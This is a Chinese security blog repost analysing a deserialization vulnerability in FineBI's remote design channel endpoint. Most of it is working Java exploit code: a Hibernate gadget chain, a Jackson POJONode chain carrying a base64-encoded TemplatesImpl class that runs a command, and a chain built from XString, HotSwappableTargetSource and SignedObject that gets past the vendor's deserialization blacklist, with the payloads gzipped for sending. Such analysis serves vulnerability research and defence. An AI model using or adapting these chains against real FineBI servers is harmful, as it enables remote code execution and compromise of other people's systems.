长亭百川云 - 文章详情

常态期讨老口子2: 帆软反序列化分析

黑伞安全

44

2024-07-25

这段常态化时期,每天都整理和学习历年能打穿小朋友的漏洞,本文转载自

https://xz.aliyun.com/t/13389

这篇文章是关于FineBI软件中的反序列化漏洞的分析。以下是对文章内容的总结:

  1. 漏洞概述:
  • 漏洞存在于FineBI的/webroot/decision/remote/design/channel
    接口。

  • 该接口接收POST方法传输的数据,首先通过GZIPInputStream
    进行解压缩,然后使用CustomObjectInputStream
    包装并调用readObject()
    方法实现反序列化。

  1. 漏洞利用过程:
  • 攻击者需要构造序列化数据,并通过gzip压缩后发送到漏洞接口。

  • 构造序列化数据可以利用Hibernate链或Commons Collections(cb链)等技术。

  1. 示例代码:
  • 文章提供了构造Hibernate链的Java代码示例,展示了如何利用反射和字节码技术构造恶意的序列化数据。
  1. 反序列化绕过:
  • 官方修复漏洞的方式是增加反序列化黑名单,禁止了一些类的反序列化,包括cb、hibernate等。

  • 但修复后,jackson相关的类并未被禁止,攻击者可以利用jackson构造反序列化链。

  1. jackson反序列化链构造:
  • 文章提供了利用jackson构造反序列化链的Java代码示例。

  • 利用了BadAttributeValueExpException
    和TemplatesImpl
    等类的特性。

  1. 绕过黑名单限制:
  • 由于黑名单中包含了BadAttributeValueExpException
    和TemplatesImpl
    ,文章进一步探讨了如何使用其他类来绕过这些限制。

  • 提出了使用XString
    、HotSwappableTargetSource
    和SignedObject
    等类进行绕过的方法。

Finebi反序列化漏洞分析

反序列化

/webroot/decision/remote/design/channel 处存在发序列化漏洞
这个接口接收post传输的数据,会先经过GZIPInputStream解压缩GZIP格式数据

然后对经过解压缩后的数据利用CustomObjectInputStream进行包装,再调用readObject()方法实现反序列化

CustomObjectInputStream继承ObjectInputStream,其构造方法调用父类的构造方法,和正常反序列化差不多

所以我们构造的序列化数据,要先经过gzip压缩,再向漏洞接口发送

如何构造序列化数据呢,可以利用cb链或者hibernate链,需要注意的是这里的包名不是正常maven下载的依赖的包名,所以有些payload构造也会有所差别,构造hibernate链

import com.fr.third.org.hibernate.engine.spi.TypedValue;

import com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer;  
import com.fr.third.org.hibernate.type.Type;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
  
import java.lang.reflect.Array;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import java.util.HashMap;  
  
public class Hibernate {  
    public static byte[] getPayload(byte[] bytes) throws Exception {  
        Class<?> componentTypeClass             = Class.forName("com.fr.third.org.hibernate.type.ComponentType");  
        Class<?> pojoComponentTuplizerClass     = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");  
        Class<?> abstractComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer");  
  
  
        TemplatesImpl tmpl   = utils.getTeml(bytes);  
        Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");  
  
        Object getter;  
        try {  
            Class<?>       getterImpl  = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");  
            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];  
            constructor.setAccessible(true);  
            getter = constructor.newInstance(null, null, method);  
        } catch (Exception ignored) {  
            Class<?>       basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");  
            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);  
            constructor.setAccessible(true);  
            getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties");  
        }  
  
        Object getters = Array.newInstance(getter.getClass(), 1);  
        Array.set(getters, 0, getter);  
  
        AbstractComponentTuplizer tuplizer = (AbstractComponentTuplizer) utils.createInstanceUnsafely(pojoComponentTuplizerClass);  
  
        Field field = abstractComponentTuplizerClass.getDeclaredField("getters");  
        field.setAccessible(true);  
        field.set(tuplizer, getters);  
  
        Object type = utils.createInstanceUnsafely(componentTypeClass);  
  
        utils.setFieldValue(type,"componentTuplizer",tuplizer);  
  
        utils.setFieldValue(type,"propertySpan",1);  
  
        utils.setFieldValue(type,"propertyTypes",new Type[]{(Type) type});  
  
        TypedValue typedValue = new TypedValue((Type) type, null);  
  
        HashMap<Object, Object> hashMap = new HashMap<>();  
        hashMap.put(typedValue, "123");  
  
        utils.setFieldValue(typedValue,"value", tmpl);  
  
        byte[] ser = utils.serialize(hashMap);  
        byte[] payload = utils.GzipCompress(ser);  
        return payload;  
  
    }  
  
}

反序列化绕过

之后官方对其进行了修复,修复方式是增加了反序列化黑名单,禁止了一些类的反序列化,包括了cb、hibernate以及一些反序列化中常用的类

但是这里面没有禁止jackson相关的类,可以利用jackson来构造反序列化链

import util.utils;

import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
  
import javax.management.BadAttributeValueExpException;  
import java.util.Base64;  
  
public class jackson {  
    public static void main(String[] args) throws Exception {  
        String calc = "yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==";  
        TemplatesImpl t = utils.getTeml(Base64.getDecoder().decode(calc));  
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");  
        ctClass.removeMethod(writeReplace);  
        ctClass.toClass();  
        POJONode node = new POJONode(t);  
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);  
        utils.setFieldValue(val,"val",node);  
  
        byte[] ser = utils.serialize(val);  
        String b = Base64.getEncoder().encodeToString(ser);  
        System.out.println(b);  
        utils.unserialize(ser);  
    }  
}

这是最普通的jackson反序列化利用链的构造,在这个代码中使用到的BadAttributeValueExpException和TemplatesImpl是在黑名单里的,我们需要找到能够替换这2个类的类
BadAttributeValueExpException反序列化时会触发toSting方法

这里是用来触发node的toSting方法,我们可以用XString#equals替换BadAttributeValueExpException来触发toSting方法

spring环境下可以利用HotSwappableTargetSource#equals来触发XString的equals方法

用到TemplatesImpl是因为TemplatesImpl对象的getOutputProperties方法能够加载任意类字节码,从而造成代码执行,因为jackson反序列化能够调用类的无参getter方法,我们需要找到一个不在黑名单中的类,并且其无参getter方法存在漏洞
SignedObject刚好是一个满足的类,其getObject方法中实现了反序列化,我们就可以利用二次反序列化来进行攻击

利用XString、HotSwappableTargetSource、SignedObject进行绕过

import com.fr.third.fasterxml.jackson.databind.node.POJONode;  

import com.fr.third.springframework.aop.target.HotSwappableTargetSource;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xpath.internal.objects.XString;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
  
import javax.management.BadAttributeValueExpException;  
import java.lang.reflect.Array;  
import java.lang.reflect.Constructor;  
import java.security.SignedObject;  
import java.util.HashMap;  
  
public class JacksonSignedObject {  
  
    public static byte[] getPayload(byte[] bytes) throws Exception {  
        TemplatesImpl t = utils.getTeml(bytes);  
        try {  
            CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode");  
            CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");  
            ctClass.removeMethod(writeReplace);  
            ctClass.toClass();  
        }  
        catch (Exception e){  
  
        }  
  
        POJONode node = new POJONode(utils.makeTemplatesImplAopProxy(t));  
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);  
        utils.setFieldValue(val,"val",node);  
  
  
  
  
        SignedObject s = utils.makeSignedObject(val);  
  
        POJONode node2 = new POJONode(s);  
  
  
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(node2);  
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));  
  
        HashMap<Object, Object> hashmap = new HashMap<>();  
        utils.setFieldValue(hashmap, "size", 2);  
        Class<?> nodeC;  
        try {  
            nodeC = Class.forName("java.util.HashMap$Node");  
        }  
        catch ( ClassNotFoundException e ) {  
            nodeC = Class.forName("java.util.HashMap$Entry");  
        }  
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);  
        nodeCons.setAccessible(true);  
  
        Object tbl = Array.newInstance(nodeC, 2);  
        Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));  
        Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));  
        utils.setFieldValue(hashmap, "table", tbl);  
  
  
        byte[] ser = utils.serialize(hashmap);  
        byte[] payload = utils.GzipCompress(ser);  
  
        return payload;  
    }  
  
  
}

当然,之后这些类也无法使用了

参考链接

https://xz.aliyun.com/t/12509
https://xz.aliyun.com/t/12846#toc-1
https://github.com/yecp181/Frchannel

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2